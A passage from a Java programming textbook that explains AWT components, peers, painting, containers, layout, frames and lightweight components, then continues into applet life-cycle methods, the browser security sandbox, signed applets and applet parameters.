In this case, the only action a button peer must be able to perform is to set
its label text; setLabel() is the only method in the
ButtonPeer interface. How the native button acts,
responds to user input, etc. is entirely up to it. It might turn
green when pressed or make a "ka-chunk" sound. The component in Java-land has no
control over these aspects of the native button's behavior--and
this has important implications.  This abstraction allows
AWT to use native components from whatever platform it
resides on.  However, it also means that a lot of a component's functionality
is locked away where we can't get to it.
We'll see that we can usually intercept events before the peer object has a
chance to act on them, but we usually can't change much of the object's basic
behavior.

A component gets its peer when it's added to a container.
Containers are associated with display devices through
Toolkit objects, and thus control the process of
peer creation.  We'll talk more the ramifications of this when we discuss
addNotify() later.
(See "Component peers and addNotify()".)

The Model/View/Controller Framework

Before we continue our discussion of
GUI concepts, I want to make a brief aside and talk
about the Model/View/Controller (MVC)
framework. MVC is a method of building reusable
components that logically separates the structure, representation, and
behavior of a component into separate pieces. MVC
is primarily concerned with building user-interface components, but
the basic ideas can be applied to many design issues; its principles
can be seen throughout Java. Java doesn't implement all of
MVC, whose origins are in Smalltalk, but
MVC's influence is apparent throughout the
language.

The fundamental
idea behind MVC is the separation of the data model
for an item from its presentation. For example, we can draw different
representations (e.g., bar graphs, pie charts) of the data in a
spreadsheet. The data is the "model"; the particular
representation is the "view." A single model can have many
views that show different representations of the data. The behavior of
a user-interface component usually changes its model and affects how
the component is rendered as a view. If we were to create a button
component for example, its data model could be as simple as a
boolean value for whether it's up or down. The
behavior for handling mouse-press events would alter the model, and the
display would examine that data when it draws the on-screen
representation.

The way in which AWT objects communicate, by passing events from sources
to listeners, is part of this MVC concept of separation.  Event listeners
are "observers" and event sources are "observables."  When an observable
changes or performs a function, it notifies all of its observers of the
activity.[1]

[1]
Although they are not used by AWT, Java provides generic
Observer class and
Observable interface in the
java.util package.  (In practice, these are
more a design hint than of day to day usefulness.)

This model of operation is also central to the
way in which Java works with graphics, as you'll see in Chapter 11, Using and Creating GUI Components. Image information from a producer, such as a
graphics engine or video stream, is distributed to consumers that can
represent different views of the data. Consumers register with a
producer and receive updates as the image is created or when the image has
changed.

The factory concept used by the Toolkit
objects is related to MVC; factories use Java
interfaces to separate the implementation of an object from its
behavior. An object that implements an interface doesn't have to
fit into a particular class structure; it needs only to provide the
methods defined by the interface. Thus, an AWT
Toolkit is a factory that produces native
user-interface components that correspond to Java components. The
native components don't need to match
AWT's class structure, provided they
implement the appropriate interface.

Painting and Updating

Components can be asked to draw themselves at any time. In a more
procedural programming environment, you might expect a component
would be involved in drawing only when first created or when it
changes its appearance. In Java, components act in a way that is more
closely tied to the underlying behavior of the display
environment. For example, when you obscure a component with a window
and then reexpose it, an AWT thread asks the
component to redraw itself.

AWT asks a component to draw itself by
calling its paint()
method. paint() may be called at any time, but in
practice, it's called when the object is first made visible, whenever
it changes its appearance, and whenever some tragedy in the display
system messes up its area. Because
paint() can't make any assumptions about why
it was called, it must redraw the component's entire display.

However, redrawing the whole component is unnecessary if only a
small part changes, especially in an anticipated way.
In this case, you'd like to specify what
part of the component has changed, and redraw that part
alone. Painting a large portion of the screen is time consuming, and
can cause flickering that is especially annoying if you're
redrawing the object frequently, as with animation. When a component
realizes it needs to redraw itself, it should ask
AWT to schedule a call to its
update() method.
update() can
do drawing of its own, but often, it simply defines a
clipping region--by calling
clipRect()--on its graphics context; to limit
the extent of the painted area and then
calling paint() explicitly. A simple
component doesn't have to implement its own
update() method, but that doesn't mean the
method doesn't exist. In this case, the component gets a default
version of update() that simply clears the
component's area and calls paint().

A component never calls its update() method
directly. Instead, when a component requires redrawing, it schedules a
call to update() by invoking
repaint(). The repaint() method
asks AWT to schedule the component for
repainting. At some point in the future, a call to
update() occurs. AWT is allowed
to manage these requests in whatever way is most efficient. If there
are too many requests to handle, or if there are multiple requests for
the same component, AWT can reschedule a number of
repaint requests into a single call to update().
This means that you can't predict
exactly when update() will be called in response to
a repaint(); all you can expect is that it happens
at least once, after you request it.

Normally, calling repaint() is an implicit request to be updated as soon
as possible.  There is another form of repaint()
that allows you
to specify a time period within which you would like an update, giving
the system more flexibility in scheduling the request. An application
can use this method to govern its refresh rate.  For example,
the rate at which you render frames for an animation might vary, depending
on other factors (like the complexity of the image).  You could impose
an effective maximum frame rate by calling repaint() with a time (the inverse
of the frame rate) as an argument.  If you then happen to make more than
one repaint request within that time period, AWT is not obliged to physically
repaint for each one.  It can simply condense them to carry out a single
update within the time you have specified.

Both paint() and update()
take a single argument: a Graphics object. The
Graphics object represents the component's
graphics context. It corresponds to the area of the screen on which
the component can draw and provides the methods for performing
primitive drawing and image manipulation. We'll look at the
Graphics class in detail in Chapter 11, Using and Creating GUI Components.

All components paint and update themselves using this
mechanism. However, you really care about it only when doing your own
drawing, and in practice, you should be drawing only on a
Canvas, Panel,
Applet,
or your own subclasses of Component.
Other kinds of objects, like buttons and
scrollbars, have lots of behavior built into their peers. You may be able to
draw on one of these objects, but unless you specifically catch the
appropriate events and redraw (which could get complicated), your
handiwork is likely to disappear.

Canvases,
Panels, and lightweight components (which
we will discuss fully later in this chapter) are "blank slates" for
you to implement your own behavior and appearance.
For example, by itself, the AWT Canvas has no
outward appearance; it takes up space and has a background color, but
otherwise, it's empty. By subclassing Canvas and
adding your own code, you can create a more complicated object like a
graph or a flying toaster.  A lightweight component is even "emptier"
than that.  It doesn't have a real Toolkit
peer for its implementation;
you get to specify all of the behavior and appearance yourself.
We'll talk more about using Canvas and
lightweight components to create new kinds of GUI objects later in
this chapter.

A Panel is like a
Canvas, but it's also a
Container, so that it can hold other user-interface components.  In the same way, a lightweight container is a simple
extension of the AWT Container class.
(More about that when we talk about containers below.)

Enabling and Disabling Components

Standard AWT components can be turned on and off by calling the
enable() and
disable() methods.
When a component like a Button or
TextField is disabled, it becomes
"ghosted" or "greyed-out" and doesn't respond to user input.

For example, let's see how to create a component that can only be used
once. This requires getting ahead of the story; I won't explain some
aspects of this example until later. Earlier, I said that a
Button generates an
ActionEvent when it is pressed. This event
is delivered to the listeners'
actionPerformed() method. The code below
disables whatever component generated the event:

public boolean void actionPerformed(ActionEvent e ) {
    ...
    ((Component)e.getSource()).disable();
}

This code calls getSource() to find out
which component generated the event. We cast the result to
Component because we don't necessarily
know what kind of component we're dealing with; it might not be a
button, because other kinds of components can generate action events.
Once we have our component, we disable it.

You can also disable an entire container. Disabling a
Panel, for instance, disables all the components it
contains.
Unfortunately, disabling components and containers is handled by the
AWT Toolkit at a low level. It is currently not possible to have custom
(pure Java) components notified when their native containers are disabled.
This flaw should be corrected in a future release.

Focus, please

In order to receive keyboard events, a component has to have keyboard
focus. The component with the focus is simply the
currently selected input component. It receives all keyboard event
information until the focus changes. A component can ask for
focus with the Component's
requestFocus() method. Text components like
TextField and
TextArea do this
automatically whenever you click the mouse in their area. A component
can find out when it gains or loses focus through the
FocusListener interface (see the table of
events below).
If you want to create your own text-oriented
component, you could implement this behavior yourself.  For instance,
you might request focus when the mouse is clicked in your component's
area. After receiving focus, you could change the cursor or do
something else to highlight the component.

Many user interfaces are designed so that the focus automatically
jumps to
the "next available" component when the user presses the TAB key.
This behavior is particularly common in forms; users often expect to
be able to tab to the next text entry field. AWT handles automatic
focus traversal for you when it is applicable.
You can get control over the behavior through
the transferFocus() and
isFocusTraversable() methods of
Component.
transferFocus() passes the focus to the
next appropriate component.
You can use transferFocus() to control the
order of tabbing between components by
overriding it in the container and implementing your own policy.
isFocusTraversable() returns a boolean
value specifying whether or not the component
should be considered eligible for receiving a transfer focus.
Your components can override this method to determine whether or not they
can be "tabbed to."

Other Component Methods

The Component class is very large; it has
to provide the base level
functionality for all of the various kinds of Java GUI objects.  We don't have
room to document every method of the component class here, but we'll flesh
out our discussion by covering some more of the important ones.

Container getParent()

Return the container that holds this component.

String getName() / void setName(String name)

Get or assign the String name of this component.
Giving a component a name is useful for debugging.
The name shows up when you do a toString().

setVisible(boolean visible)

Make the component visible or invisible, within its container.
If you change the components, visibility, remember to call
validate()
on the container; this causes the layout manager to lay out the
container again.

Color getForeground() / void setForeground(Color c)
Color getBackground() / void setBackground(Color c)

Get and set the foreground and background colors for this component.
The foreground color of any component is the default color used for
drawing. For example, it is the color used for text in a text field;
it is also the default drawing color for the
Graphics object passed to the component's
paint() method.
The background color is used to fill the component's area when it is
cleared by the default implementation of
update().

Font getFont() / void setFont(Font f)

Get or set the Font for this component.
(Fonts are discussed in Chapter 13, Drawing With the AWT.)
You can set the Font on text components
like TextField and
TextArea.
For Canvases,
Panels, and lightweight components, this
will also be the
default font used for drawing text on the Graphics context passed to
paint().

FontMetrics getFontMetrics(Font font)

Find out the characteristics of a font when rendered on this component.
FontMetrics allow you to find out the
dimensions of text when rendered in that font.

Dimension getSize() / void setSize(int width, int height)

Get and set the current size of the component.  Remember to call
validate()
on the component's container if you change its size (see Containers below).
There are other methods
in Component to set its location, but
normally this is the job of a layout manager.

Cursor getCursor() / void setCursor(Cursor cursor)

Get or set the type of cursor (mouse pointer) used when the mouse is over this
component's area.  For example:

Component myComponent = ...;
Cursor crossHairs = Cursor.getPredefinedCursor( Cursor.CROSSHAIR_CURSOR );
myComponent.setCursor( crossHairs );

Containers

Now that you understand components a little better, our discussion of
containers should be easy.
A container is a kind of component that holds and manages other
AWT components.  If you look back to
Figure 10.1, you
can see the part of the java.awt class hierarchy
that descends from Container.

The most useful Container types are
Frame, Panel,
and Applet.
A Frame is a top-level window on your
display. Frame is derived from
Window, which is pretty much the same, but lacks a
border. A Panel is a generic container element used
to group components inside of Frames and other
Panels.
The Applet class is a kind of
Panel that provides the foundation for
applets that run inside Web browsers.
As a Panel, an
Applet has the ability to contain other
user-interface components.  All these classes are subclasses of the
Container class; you can also use the
Container class directly, like a
Panel, to hold
components inside of another container. This is called a "lightweight
container," and is closely related to lightweight components. We'll
discuss lightweight components and containers later in this chapter.

Because a Container is a kind of
Component, it has all of the methods of
the Component class, including the
graphical and event-related methods we're
discussing in this chapter.   But a container also maintains a
list of "child" components, which are the components it manages, and
therefore has methods for dealing with those components. By
themselves, most components aren't very useful until they are added to
a container and
displayed.  The add()
method of the Container class adds a component to
the container. Thereafter, this component can be displayed in the
container's area and positioned by its layout manager.  You can also
remove a component
from a container with the remove() method.

Layout managers

A layout manager is an object that controls the
placement and sizing of components within the display area of a
container. A layout manager is like a window manager in a display
system; it controls where the components go and how big they
are.  Every container has a default layout manager, but you can easily
install a new one by calling the container's
setLayout() method.

AWT comes with a few layout managers that
implement common layout schemes. The default layout manager for a
Panel is a
FlowLayout, which
tries to place objects at their preferred size from left to right and
top to bottom in the container. The default for a
Frame is a
BorderLayout, which
places a limited number of objects at named locations like
"North," "South," and "Center." Another layout
manager, the GridLayout, arranges components in a
rectangular grid.  The most general (and difficult to use) layout manager
is GridBagLayout, which lets you do the
kinds of things you can do with
HTML tables.  We'll get into the details of all of these layout managers
in Chapter 12, Layout Managers.

As I mentioned above, you normally call
add() to add a component to a container. There is
an overloaded version of add() that you may
need, depending on what layout manager you're using.
Often you'll use the version of add() that takes a
single Component as an argument. However, if
you're using a layout manager that uses "constraints,"
like BorderLayout or GridBagLayout, you need to
specify additional information about where to put the new component.
For that you can use the version that takes a constraint object:

add( Component component, Object constraint);

For example, to add a component to the top of a
BorderLayout, you might say:

add( newComponent, "North");

In this case, the constraint object is the string "North." The
GridBagLayout uses a much more complex
constraint object to specify positioning.

Insets

Insets specify a container's margins; the space specified by the
container's insets won't be used by a layout manager. Insets are
described by an Insets object, which has
four int fields:
top, bottom,
left, and
right. You normally don't need to worry
about the insets, the container will set them automatically, taking
into account extras like the menu bar that may appear at the top of a
frame. However, you should modify the insets if you're doing something
like adding a decorative border (for example, a set of
"index tabs" at the top of a container) that reduces the space
available for components. To change the insets, you override the
component's getInsets() method, which
returns an Insets object. For example:

//reserve 50 pixels at the top, 5 at the sides and 10 at the bottom
public Insets getInsets() {
    return new Insets (50,5,10,5);
}

Z-ordering (stacking components)

In most layout schemes, components are not allowed to overlap, but they can.
If they do, the order in which components were added to a container matters.
When components overlap they are "stacked" in the order in which they were
added: the first component added to the container is on top, the last
is on the bottom.  To give you more control over stacking, two
additional forms of the add() method
take an additional
integer argument that lets you specify the component's exact position
in the container's stacking order.

validate( ) and layout( )

A layout manager arranges the components in a container only when
asked to. Several things can mess up a container after it's initially
laid out:

  • Changing its size

  • Resizing or moving one of its child components

  • Adding, showing, removing, or hiding a child component

Any of these actions causes the container to be marked
invalid. Saying that a container is invalid simply means it needs
to have its child components readjusted by its layout manager. This is
accomplished by calling the Container's
validate() method. validate()
then turns around and calls the Container's
doLayout() method, which asks the layout manager to
do its job. In addition, validate() also notes that
the Container has been fixed (i.e., it's valid
again) and looks at each child component of the container, recursively
validating any containers that are also messed up.

So if you have an applet that contains a small
Panel--say a keypad holding some
buttons--and you change the size of the Panel
by calling its resize() method, you should also
call validate() on the applet. The applet's
layout manager may then reposition or resize
the keypad within the applet. It also
automatically calls validate() for the keypad, so
that it can rearrange its buttons to fit inside its new area.

There are two things you should note. First, all components,
not just containers, maintain a notion of when they are valid or
invalid. But most components (e.g., buttons) don't do anything
special when they're validated.  If you have a custom component that wants
to be notified when it is resized, it might be best to make it a
container (perhaps a lightweight container) and do your work in the
doLayout() method.

Next, child containers are validated only if they are invalid.
That means that if you have an invalid
component nested inside a valid component and you validate a container
above them both, the invalid component may never be
reached.  However, the invalidate() method
that marks a container as
dirty automatically marks parent containers as well, all the way up
the container hierarchy.  So that situation should never happen.

Component peers and addNotify()

A component gets its peer when it's added to a container.
Containers are associated with display devices through
Toolkit objects, and thus control the process of
peer creation. This means that you can't ask certain questions about a
component before it's placed in a container.
For example, you can't find out about a component's size or
its default font until the component knows where it's being displayed (until
it has its peer).

You probably also shouldn't be able to ask a component with no peer
about other resources controlled by the peer, such as off screen graphics
areas and font metrics. Java's developers apparently thought this
restriction too onerous so container-less components are
associated with the "default" toolkit that can answer some of these
kinds of inquiries.
In practice, the default toolkit is usually able to provide
the right answer, because with current implementations of Java the default
toolkit is probably the only toolkit available. This approach may
cause problems in the future, if Java's developers add the ability for
different containers to have different toolkits.

The same issue (the existence of a component's peer) also comes up
when you are making your own kinds of
components and need access to some of these peer resources before you can
complete the setup.  For example, suppose that you want to set the size or
some other feature of your component based on the default font used.
You can't complete this setup in your constructor, because the peer doesn't
exist yet.  The solution to all of these problems is proper use of the
addNotify() method.  As its name implies,
addNotify() can be used to get
notification when the peer is created.  You can override it to do your
own work, as long as you remember to call
super.addNotify() to complete the
peer creation.  For example:

class FancyLabel  {
    FancyLabel() {
        // No peer yet...
    }
    public void addNotify() {
        super.addNotify();  // complete the peer creation
        // Complete setup based on Fonts
        // and other peer resources.
    }
}

Managing Components

There are a few additional tools of the
Container class that we should mention.

Component[] getComponents()

Returns the container's components in an array.

void list(PrintWriter out, int indent)

Generates a list of the components in this container and writes them to
the specified PrintWriter.

Component getComponentAt(int x, int y)

Tells you what component is at the specified coordinates in the container's
coordinate system.

Listening for Components

Finally, an important tool to be aware of is the
ContainerListener interface.
It lets you receive an event whenever a component is added to or removed from
a container.  (It lets you hear the tiny cries of the component as it is
imprisoned in its container or torn away.)
You can use the ContainerListener
interface to automate the process of
setting up components when they are added to your container.  For instance,
your container might need to register other kinds of event listeners with
its components to track the mouse or handle certain kinds of actions.

Windows and Frames

Windows and frames are the "top level" containers for Java components.
A Window is simply a plain, graphical
screen that displays in your
windowing system.   Windows have no frills; they are mainly suitable for
making "splash" screens and dialogs--things that limit the
user's control.  Frame, on the other hand,
is a subclass of Window
that have a border and can hold a menu-bar. Frames are under the control of
your window manager, so you can normally drag a Frame around on the
screen and resize it, using the normal controls for your environment.
Figure 10.5 shows a Frame on the left and
a Window on the right.

Figure 10.5: A typical frame and window

  [Graphic: Figure 10-5]

All other components and
containers in Java must be held, at some level, inside of a
Window or
Frame.
Applets, as we've mentioned a few times, are a kind of
Panel.  Even applets
must be housed in a Java frame or window, though normally
you don't see an applet's parent frame because it is part of (or
simply is) the browser or appletviewer displaying the applet.

A Frame is the only
Component that can be displayed
without being added to or attached to another
Container.
After creating a Frame, you can call the
show() method to display it.
Let's create a standalone equivalent of our
HelloWeb applet from Chapter 2, A First Applet:

Figure 10.6: Standalone equivalent of the HelloWeb applet

  [Graphic: Figure 10-6]

class HelloWebApp {
    public static void main( String [] args ) {
        Frame myFrame = new Frame("The Title");
        myFrame.add("Center", new Label("Hello Web!", Label.CENTER) );
        myFrame.pack();
        myFrame.show();
    }
}

Here we've got our minimal, graphical, standalone Java application.
The Frame constructor can take a
String argument that supplies a title,
displayed in the Frame's
title bar.  (Another approach would be to create the
Frame with no title, and call
setTitle() to supply the title later.)
After creating the Frame, we add our
Label to it and then call
pack(), which prepares the
Frame for display.
pack() does a couple of things, but its
most important effect
in this case is that it sets the size of the
Frame  to the smallest needed
to hold all of its components.  Specifically,
pack() calls:

setSize( preferredSize() );

Next, we call show() to get the
Frame onto the screen.  The
show() method returns immediately, without
blocking. Fortunately, our application does not exit while the
Frame is showing.
To get rid of a Frame, call the
dispose() method.  If you want to hide the
Frame temporarily, call
setVisible(false).  You can check to see
if a Frame is showing with the
isShowing() method.

In this example, we let pack() set the
size of the Frame for us
before we show() it.  If we hadn't, the
Frame would have come up at an
undefined size.  If we instead want the
Frame to be a specific size
(not just hugging its child components) we could simply call
setSize() instead of
pack().

...
myFrame.setSize( 300, 300 );
myFrame.show();

Other Methods for Controlling Frames

The setLocation() method of the
Component class can be used on a
Frame or
Window to set its
position on the screen.  The x and y coordinates are considered relative
to the screen's origin (the top left corner).

You can use the toFront() and
toBack() methods, respectively, to pull a
Frame or
Window to the front of other windows, or
push it to the background.
By default, a user is allowed to resize a
Frame, but you can prevent resizing by
calling setResizable(false) before showing
the Frame.

On most systems, frames can be "iconfied";
that is, they can be represented by a little icon image.
You can get and set a frame's icon image by calling
getIconImage() and
setIconImage().
Remember that as with all components, you can set the cursor by
calling the setCursor() method.

Using Windows

Windows and frames have a slightly convoluted relationship.  We said above that
Frame is a subclass of
Window.  However, if you look, you'll see
that to
create a Window you have to have a
Frame available to serve as its parent.
The Window constructor takes a
Frame as an argument.

Window myWindow = new Window( myFrame );

The rationale for this is long and boring.  Suffice it to say that this
limitation will probably go away in the future.

Prepacking Windows and Frames

Earlier we said that calling pack() on a
Frame sets the frame's size to the
preferred size of its layout. However, the
pack() method
is not simply equivalent to a call to
setSize().
 pack() is often called before any of the
frame's components have their peers. Therefore, calling
pack() forces the container to choose its
Toolkit and
to create the peers of any components that have been added to it.  After
that is done, the layout manager can reliably determine its preferred size.

For a large frame with lots of components, packing the frame is a
convenient way to
do this setup work in advance, before the frame is displayed. Whether
or not this is useful depends on whether you'd rather have your
application start up
faster, or pop up its frames faster, once it is running.

AWT Performance and Lightweight Components

Java's developers initially decided to implement the standard AWT
components with a "mostly native" Toolkit. As we described above, that
means that most of the important
functionality of these classes is delegated to peer objects, which live in
the native operating system. Using native peers allows Java to
take on the look and feel of the local operating environment.
Macintosh users see Mac applications, PC users see Windows' windows,
and Unix users can have their Motif motif; warm fuzzy feelings abound.
Java's chameleon-like ability to blend into the native environment is
considered by many to be an integral part of platform independance.
However, there are a few important downsides to this arrangement.

First, as we mentioned earlier, using native peer implementations
makes it much more difficult (if not impossible) to subclass these
components to specialize or modify
their behavior. Most of their behavior comes from the native peer, and
therefore can't be overidden or extended easily.  As it turns out,
this is not a terrible problem because of
the ease with which we can make our own components in Java; we will
give you an idea of how to start in Chapter 11, Using and Creating GUI Components.  It is also
true that a sophisticated new component, like an HTML viewer,
would benefit little in deriving from a more primitive text viewing
component like TextArea.

Next, porting the native code makes it much more difficult to bring
Java to a new platform.
For the user, this can only mean one thing: bugs.  Quite simply,
while the Java language itself has been quite stable, the cross platform
behavior of the AWT has been an Achilles' heel.  Although the situation
is steadily improving, the lack of large, commercial quality Java
applications until relatively recently testifies to the difficulties involved.
At this time, new development has been saturated with Java
for well over a year (a decade in Net time) and very few real applications
are with us.

Finally, we come to a somewhat counterintuitive problem with the use of
native peers.  In most current implementations of Java, the native
peers are quite "heavy" and consume a lot of resources.  You might expect that
relying on native code would be much more efficient than creating the
components in Java.  However, it can take a long time to
instantiate a large number of GUI elements when each requires the
creation of a native peer from the toolkit.  And in some cases you may find
that once they are created, they don't perform as well as the pure Java
equivalents that you can create yourself.

An extreme example would be a spreadsheet that uses an AWT
TextField for
each cell.  Creating hundreds of
TextFieldPeer objects would be
something between slow and impossible.  While simply saying "don't do
that" might be a
valid answer, this begs the question: how do you create large
applications with complex GUIs? Java would not be a very interesting
environment if it was only limited to simple tasks. One solution,
taken by development
environments like Sun's JavaWorkshop, is to use "wrapper" classes for
the standard
AWT components; the wrapper controls when peer objects are created.
Another attack on the problem has been to create "lightweight"
components that are written entirely in Java, and therefore don't
require native code.

Using Lightweight Components and Containers

A "lightweight" component is simply a component that is implemented
entirely in Java.  You implement all of its appearance by drawing in
the paint() and
update() methods; you implement its
behavior by catching user events (usually at a low level) and possibly
generating new events.  Lightweight components can be used to create
new kinds of gadgets, in the same way you might use a
Canvas or a
Panel.  But they avoid some of the
performance penalties inherent in the use of peers, and, perhaps more
importantly, they provide more flexibility in their appearance.
A lightweight component can have a transparent background, allowing its
container to "show through" its own area.  It is also more reasonable
to have another component or container overlap or draw into a lightweight
component's area.

You create a lightweight component by subclassing the
Component and
Container classes directly.
That is, instead of writing:

class myCanvas extends Canvas { ... }

you write:

class myCanvas extends Container { ... } // lightweight

That's often all you need to do to create a lightweight component.
When the lightweight component is put into a container, it doesn't get a
native peer.  Instead, it gets a
LightweightPeer that serves as
a place holder and identifies the component as lightweight
and in need of special help.
The container then takes over the responsibilities that
would otherwise be handled by a native peer:
namely, low-level delivery of events and paint requests.
The container receives mouse movement events, key strokes, paint
requests, etc., for the lightweight component.  It then sorts out
the events that fall within the component's bounds and
dispatches them to it.  Similarly, it translates paint requests that overlap
the lightweight component's area and forwards them to it.

Figure 10.7: Sending a paint() request to a component

  [Graphic: Figure 10-7]

Figure 10.7 shows a component receiving a
paint() request via its container.
This makes it easy to see how a lightweight component can have a transparent
background.  The component is actually drawing directly onto its
container's graphics context. Conversely, anything that the container
drew on its background is visible in the lightweight component. For an
ordinary
container, this will simply be the container's background color.  But you
can do much cooler things too.  (See the PictureButton example at the end
of the next chapter.)  All of the normal rules still apply;  your
lightweight component's
paint() method should render the
component's entire image (assume that the container
has obliterated it), but your update()
method can assume that whatever drawing it has done previously is
still intact.

Just as you can create a lightweight component by subclassing
Component, you can create a lightweight
container by subclassing Container. A
lightweight container can hold any components, including other
lightweight components and containers. In this case, event handling
and paint requests are managed by the first "regular" container in the
container hierarchy. (There has to be one somewhere, if you think
about it.) This brings us to the cardinal rule of subclassing containers,
which is:

"Always call super.paint() if you override
a container's paint() method."

If you don't, the container won't
be able to manage lightweight components properly.

To summarize, lightweight components are very flexible, pure Java
components that are managed by their container and have
a transparent background by default.
Lightweight components do not rely on native peers from the
AWT toolkit to provide their implementations and so they can not readily
take on the look and feel of the local platform.
In a sense, a lightweight component is
just a convenient way to package an extension to a container's
painting and event handling methods.  But, again, all of this happens
automatically, behind the scenes; you can create
and use lightweight components as you would any other kind of component.

We'll see examples of lightweight components and containers in the next
chapter.

Previous | Home | Next
Writing a Protocol Handler | Book Index | Applets

Java in a Nutshell
Java Language Reference
Java AWT
Java Fundamental Classes
Exploring Java


[Chapter 10] 10.2 Applets

Previous Chapter 10
Understand the Abstract Windowing Toolkit 		Next

10.2 Applets

If you've been waiting for a more detailed discussion of the applet class, here it is. For examples of writing applets, please see Chapter 2, A First Applet (the tutorial) and the examples in Chapter 11, Using and Creating GUI Components and throughout the book.

An Applet is something like a Panel with a mission. It is a GUI Container that has some extra structure to allow it to be used in an "alien" environment like a Web browser or appletviewer. Applets also have a life-cycle that lets them act more like an application than a static component. Although applets tend to be relatively simple, there's no inherent restriction on their complexity. There's no reason you couldn't write an air traffic control system (well, let's be less ambitious: a word processor) as an applet.

Structurally, an applet is a sort of wrapper for your Java code. In contrast to a standalone graphical Java application, which starts up from a main() method and creates a GUI, an applet is itself a Component that expects to be dropped into someone else's GUI. Thus, an applet can't run by itself; it runs in the context of a Web browser or an appletviewer. Instead of having your application create a Frame to hold your GUI, you stuff your application inside an Applet (which is itself a Container) and let someone else add the applet to their GUI.

Pragmatically, an applet is an intruder into someone else's environment, and therefore has to be treated with suspicion. The Web browsers that run applets impose restrictions on what the applet is allowed to do. The restrictions are enforced by a security manager, which the applet is not allowed to change. The browser also provides an "applet context," which is additional support that helps the applet live within its restrictions.

Aside from that top level structure and the security restrictions, there is no difference between an applet and an application. If your application can live within the restrictions imposed by a browser's security manager, you can easily structure it to function as an applet and a standalone application. (We'll show an example of an Applet that can also be run as a standalone below.) Conversely, if you can supply all of the things that an applet requires from its environment, you can use applets within your stand-alone applications and within other applets (though this requires a bit of work).

As we said a moment ago, an Applet expects to be embedded in GUI (perhaps a document) and used in a viewing environment that provides it with special resources. In all other respects, however, applets are just ordinary Panel objects. (See Figure 10.8.) Like a Panel, an Applet can contain user-interface components and implement all the basic drawing and event-handling capabilities of the Component class. We draw on an Applet by overriding its paint() method; we respond to events in the Applet's display area by providing the appropriate event-listeners. The additional structure applets have helps them interact with the viewer environment.

Figure 10.8: The java.applet package

[Graphic: Figure 10-8]

Applet Control

The Applet class contains four methods an applet can override to guide it through its life cycle. The init(), start(), stop(), and destroy() methods are called by an applet viewer, such as a Web browser, to direct the applet's behavior. init() is called once, after the applet is created. The init() method is where you perform basic setup like parsing parameters, building a user interface, and loading resources. Given what we've said about objects, you might expect the Applet's constructor would be the right place for such initialization. However, the constructor is meant to be called by the applet's environment, for simple creation of the applet. This might happen before the applet has access to certain resources, like information about its environment. Therefore, an applet doesn't normally do any work in its constructor; it relies on the default constructor for the Applet class and does its initialization in the init() method.

The start() method is called whenever the applet becomes visible; it shouldn't be a surprise then that the stop() method is called whenever the applet becomes invisible. init() is only called once in the life of an applet, but start() and stop() can be called any number of times (but always in the logical sequence). For example, start() is called when the applet is displayed, such as when it scrolls onto the screen; stop() is called if the applet scrolls off the screen or the viewer leaves the document. start() tells the applet it should be active. The applet may want to create threads, animate, or otherwise perform useful (or annoying) activity. stop() is called to let the applet know it should go dormant. Applets should cease CPU-intensive or wasteful activity when they are stopped and resume it when (and if) they are restarted. However, there's no requirement that an invisible applet stop computing; in some applications, it may be useful for the applet to continue running in the background. Just be considerate of your user, who doesn't want an invisible applet dragging down system performance. And for the users: be aware of the tools that will develop to let you monitor and squash rogue applets in your web browser.

Finally, the destroy() method is called to give the applet a last chance to clean up before it's removed--some time after the call to stop(). For example, an applet might want to close down suspended communications channels or remove graphics frames. Exactly when destroy() is called depends on the applet viewer; Netscape Navigator calls destroy() just prior to deleting the applet from its cache. This means that although an applet can cling to life after being told to stop(), how long it can go on is unpredictable. If you want to maintain your applet as the user progresses through other activities, consider putting it in an HTML frame (see "Driving the Browser" later in this chapter).

The Applet security Sandbox

Applets are quarantined within the browser by an applet SecurityManager. The SecurityManager is part of the application that runs the applet, e.g., the web browser or applet viewer. It is installed before the browser loads any applets and implements the basic restrictions that let you run untrusted applets safely. Remember that, aside from basic language robustness, there are no inherent security restrictions on a standalone Java application. It is the browser's responsibility to install a special security manager and limit what applets are allowed to do.

Most browsers impose the following restrictions on untrusted applets:

  • Untrusted Applets cannot read or write files on the local host.

  • Untrusted Applets can only open network connections (sockets) to the server from which they originated.

  • Untrusted Applets cannot start other processes on the local host.

  • Untrusted Applets cannot have native methods.

We discuss these restrictions in more detail in the relevant chapters in this book. However, the motivation for these restrictions should be fairly obvious: you clearly wouldn't want a program coming from some random Internet site to access your files, or run arbitrary programs. Although untrusted applets cannot directly read and write files on the client side or talk to arbitrary hosts on the network, applets can work with servers to store data and communicate. For example, an applet can use Java's RMI (Remote Method Invocation) facility to do processing on its server. An applet can communicate with other applets on the Net by proxy through its server.

Trusted Applets

The latest version of Java makes it possible to sign archive files that contain applets. Because a signature identifies the applet's origin unambiguously, we can now distinguish between "trusted" applets (i.e., applets that come from a site or person you trust not to do anything harmful) and run of the mill "untrusted" applets. In web browsers that support signing, trusted applets can be granted permission to "go outside" of the applet security sandbox. Trusted applets can be allowed to do most of the things that standalone Java applications can do: read and write files, open network connections to arbitrary machines, and interact with the local operating system by starting processes. Trusted applets still can't have native methods, but including native methods in an applet would make it unportable, and would therefore be a bad idea.

Chapter 3, Tools of the Trade discusses how to package your applet's class files and resources into a JAR file and sign it with your digital signature. Currently, HotJava is the only browser that supports signing, but Netscape Navigator, Internet Explorer, and others will probably catch up soon.

Getting Applet Resources

An applet needs to communicate with its applet viewer. For example, it needs to get its parameters from the HTML document in which it appears. An applet may also need to load images, audio clips, and other items. It may also want to ask the viewer about other applets on the same HTML page in order to communicate with them. To get resources from the applet viewer environment, applets use the AppletStub and AppletContext interfaces. Unless you're writing a browser or some other application that loads and runs applets, you won't have to implement these interfaces, but you do use them within your applet.

Applet Parameters

An applet gets its parameters from the parameter tags placed inside the <applet> tag in the HTML document. For example, the code below reads the "sheep" parameter from its HTML page:

String imageName = getParameter( "imageName" );
try  {
    int numberOfSheep = Integer.parseInt(getParameter( "sheep" ));
} catch ( NumberFormatException e ) { // use default }

A friendly applet will provide information about the parameters it accepts through its getParameterInfo() method. getParameterInfo() returns an array of string arrays, listing and describing the applet's parameters. For each parameter, three strings are provided: the parameter name, its possible values or value types, and a verbose description. For example:

public String [][] getParameterInfo() {
    String [][] appletInfo =
        {"logo",   "url",  "Main logo image"}
        {"timer", "int",   "Time to wait before becoming annoying"},
        {"flashing", "constant | intermittant",  "Flag for how to flash"},
    return appletInfo;
}

Applet Resources

